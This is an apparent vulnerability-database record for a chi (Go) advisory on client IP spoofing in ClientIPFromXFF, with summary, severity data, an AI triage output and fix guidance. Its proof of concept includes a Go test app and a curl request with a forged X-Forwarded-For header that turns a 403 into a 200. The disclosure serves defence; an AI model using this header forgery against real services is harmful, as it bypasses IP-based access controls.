{"id":"CVE-2026-114437","kind":"vulnerability","aliases":["CVE-2026-114437","GHSA-j6qf-3m9c-vwj3"],"related":[],"title":"chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","description":"### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n\tip, ok := parseHeaderAddr(v)\n\tif !ok {\n\t\treturn true\n\t}\n\tif inAnyPrefix(ip, prefixes) {\n\t\treturn false\n\t}\n\tfound = ip\n\treturn true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat > main.go <<'EOF'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n\tr := chi.NewRouter()\n\tr.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n\tr.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := middleware.GetClientIP(r.Context())\n\t\tif clientIP != allowedIP {\n\t\t\thttp.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n\t})\n\n\tlog.Print(\"listening on http://127.0.0.1:3001\")\n\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.","summary":"The chi router's ClientIPFromXFF middleware trusts any X-Forwarded-For entry that falls inside a configured trusted CIDR without checking that the direct TCP peer is a trusted proxy. A client that can reach the Go server directly can forge its client IP and pass IP-based access checks on protected handlers.","severity":"medium","cvss":6.3,"epss":0.00126,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/go-chi/chi/v5","fixed":["5.4.0"],"affected":"<= 5.3.2","ecosystem":"go"}],"ecosystems":["go"],"tags":["chi","cwe-345","go","ip-allowlist","package","self-hosted"],"not_affected_if":["chi-5.4.0-or-later","no-clientipfromxff","origin-not-reachable-directly"],"how_to_check":"grep -rn ClientIPFromXFF . in the Go source; check go.mod for github.com/go-chi/chi/v5 at 5.3.2 or earlier.","fix":"Upgrade github.com/go-chi/chi/v5 to 5.4.0 or later.\nUntil then, make the origin reachable only through the trusted proxy.","status":"open","published_at":"2026-10-21T14:17:14+00:00","first_seen_at":"2026-10-23T20:59:05+00:00","triaged_at":"2026-10-23T21:00:28+00:00","updated_at":"2026-10-23T21:57:28+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T21:00:28Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade github.com/go-chi/chi/v5 to 5.4.0 or later.\nUntil then, make the origin reachable only through the trusted proxy.","reach":"internet","impact":"medium","summary":"The chi router's ClientIPFromXFF middleware trusts any X-Forwarded-For entry that falls inside a configured trusted CIDR without checking that the direct TCP peer is a trusted proxy. A client that can reach the Go server directly can forge its client IP and pass IP-based access checks on protected handlers.","category":"package","who_cares":["go","chi","self-hosted","ip-allowlist"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker impersonates allowlisted IP addresses and bypasses IP-based access checks","analyst_note":"","how_to_check":"grep -rn ClientIPFromXFF . in the Go source; check go.mod for github.com/go-chi/chi/v5 at 5.3.2 or earlier.","needs_analyst":false,"not_affected_if":["no-ClientIPFromXFF","origin-not-reachable-directly","chi-5.4.0-or-later"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001077,"input_tokens":4495,"output_tokens":1255,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-114437':13A,21A '-116':284C '-2026':12A,20A '-345':27B '-8':518C,591C '/24':439C '/admin':218C,441C '/go-chi/chi/v5':24A,425C '/go-chi/chi/v5/middleware':428C '/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1':413C '06':527C,574C '1':215C '1.24':379C '10.0.0.7':251C,261C,431C,565C,601C,635C '127.0.0.1':486C,490C,507C,542C,567C,596C,610C '15':530C,577C '198.51.100.0':438C '198.51.100.42':252C,566C '2':230C '200':255C,570C,645C '2026':529C,576C '27':532C '3':242C '3001':487C,491C '3001/admin':508C,568C '33':579C '3m9c':17A '4':253C '403':233C,510C,642C '46':531C,578C '48':537C '54416':543C '54417':597C '57':584C '93':283C 'accept':273C 'access':86B 'add':547C 'address':136C,312C 'allow':471C,592C 'allowedip':430C,452C 'allowlist':31B,634C 'anonym':201C,606C 'append':130C 'applic':176C,190C,387C,626C 'attack':146C,296C 'attacker-control':295C 'author':551C,639C 'av':159C 'avail':182C 'base':85B 'belong':115C 'bool':320C 'call':290C 'cat':414C 'caus':624C 'cd':398C 'chain':270C,550C 'chang':165C,637C 'charset':516C,589C 'check':57B,87B 'chi':1A,25B,37B,395C,400C 'chi-clientip-poc':394C,399C 'chi.newrouter':435C 'choos':138C 'cidr':55B,104C,118C,209C,351C,622C 'client':2A,68B,79B,120C,140C,202C,240C,259C,462C,477C,545C,555C,599C,630C 'client-ip':258C,461C,476C,544C,598C 'clientip':396C,401C,407C,447C,451C,466C,482C 'clientip-poc':406C 'clientipfromxff':6A,40B,92C,192C,279C 'code':277C 'concept':376C 'configur':53B,102C,205C,350C 'connect':608C 'consequ':348C 'consol':503C,556C 'const':429C 'content':513C,521C,535C,582C,586C 'content-length':534C,581C 'content-typ':512C,585C 'control':297C,500C 'creat':382C 'curl':504C,557C 'cve':11A,19A 'cwe':26B 'date':525C,572C 'decis':167C,640C 'deni':456C,538C 'deriv':239C 'detail':274C 'differ':618C 'direct':60B,75B,110C,127C,219C,265C,554C,607C 'empti':238C 'end':615C 'entri':48B,99C,301C 'eof':416C,493C 'establish':363C 'everi':300C 'expect':262C 'expos':169C 'fall':50B 'fals':334C 'first':310C 'fmt':420C 'fmt.fprintf':469C 'fmt.sprintf':455C 'forbidden':234C,511C,643C 'forg':77B,549C 'forward':10A,46B,97C,227C,249C,269C,358C,563C 'found':335C 'func':317C,432C,442C 'function':340C 'get':217C,410C 'ghsa':15A 'ghsa-j6qf-3m9c-vwj3':14A 'github.com':23A,412C,424C,427C 'github.com/go-chi/chi/v5':22A,423C 'github.com/go-chi/chi/v5/middleware':426C 'github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1':411C 'gmt':533C,580C 'go':28B,73B,125C,313C,378C,403C,409C,494C 'h':560C 'handler':90B,172C,650C 'header':229C,298C,499C,613C 'host':35B 'http':153C 'http.error':453C 'http.listenandserve':489C 'http.request':446C 'http.request.remoteaddr':114C 'http.responsewriter':444C 'http.statusforbidden':467C 'http/1.1':509C,569C 'http1.1':505C,558C 'identifi':352C 'immedi':366C 'impact':602C 'import':419C 'inanyprefix':330C 'init':405C 'insid':51B,355C 'interact':158C,212C 'ip':3A,30B,80B,84B,141C,241C,260C,321C,331C,336C,463C,478C,546C,600C,631C 'ip-allowlist':29B 'ip-bas':83B 'j6qf':16A 'l':180C 'l/i':179C 'l/pr':161C 'later':381C 'length':536C,583C 'line':282C 'listen':484C 'log':421C 'log.fatal':488C 'log.print':483C 'look':134C 'loss':183C 'made':604C 'main':418C,433C 'main.go':415C 'make':194C 'match':303C 'middlewar':41B 'middleware.clientipfromxff':437C 'middleware.getclientip':144C,448C 'middleware/client_ip.go':281C 'minim':386C 'mkdir':393C 'mod':404C 'n':163C,187C,480C 'n/ac':160C 'n/ui':162C 'net/http':422C 'never':106C 'no-head':497C 'nosniff':524C 'observ':185C,231C,254C 'oct':528C,575C 'ok':256C,322C,326C,571C,646C 'one':151C,170C,369C 'option':523C 'origin':196C,222C 'outsid':203C 'packag':32B,417C 'pars':343C 'parseheaderaddr':323C 'pass':82B 'peer':62B,112C,266C,459C,474C,541C,595C 'poc':397C,402C,408C 'precondit':188C 'prefix':306C,332C 'prevent':267C 'proof':374C 'protect':89B,171C,649C 'proxi':66B,135C,208C,373C,621C 'q':460C,464C,475C,479C 'r':434C,445C,492C 'r.context':449C 'r.get':440C 'r.header':315C 'r.remoteaddr':344C,465C,481C 'r.use':436C 'reach':71B,123C 'reachabl':198C 'reject':502C 'remain':311C 'remot':148C 'repeat':243C 'request':154C,245C 'requir':150C,214C 'respons':235C 'return':142C,327C,333C,337C,468C 'revis':288C,391C 'router':38B 'run':384C,495C 'secur':166C 'self':34B 'self-host':33B 'send':216C 'sender':367C 'server':74B,126C,197C 'sh':392C 'skip':93C,299C 'spoof':4A 'store':308C 'string':319C,354C 'summari':91C 'suppli':611C 'tcp':61B,111C,458C,473C,540C,594C 'tcp-peer':457C,472C,539C,593C 'test':287C,390C 'text/plain':515C,588C 'therefor':129C 'treat':628C 'true':328C,338C 'trust':42B,54B,65B,103C,133C,207C,305C,353C,372C,620C 'trusted-look':132C 'trusted-proxi':206C,619C 'tue':526C,573C 'type':514C,522C,587C 'u/c':178C 'unauthent':152C 'untrust':264C 'use':191C,377C 'user':157C 'utf':517C,590C 'v':318C,324C 'verifi':107C 'via':7A 'victim':211C 'vulner':276C 'vwj3':18A 'w':443C,454C,470C 'walk':347C 'walkxff':291C,314C 'within':173C 'without':56B 'x':9A,45B,96C,226C,248C,357C,520C,562C 'x-content-type-opt':519C 'x-forwarded-for':8A,44B,95C,225C,247C,356C,561C 'xforwardedforhead':316C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-21T14:17:14+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j6qf-3m9c-vwj3","url":"https://github.com/advisories/GHSA-j6qf-3m9c-vwj3","severity":"medium","published_at":"2026-10-23T20:56:46+00:00","modified_at":"2026-10-23T20:56:47+00:00","first_seen_at":"2026-10-23T20:59:05+00:00","fetched_at":"2026-10-23T20:59:05+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-114437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114437","severity":null,"published_at":"2026-10-21T14:17:14+00:00","modified_at":"2026-10-21T18:17:27+00:00","first_seen_at":"2026-10-23T21:57:28+00:00","fetched_at":"2026-10-23T22:29:01+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}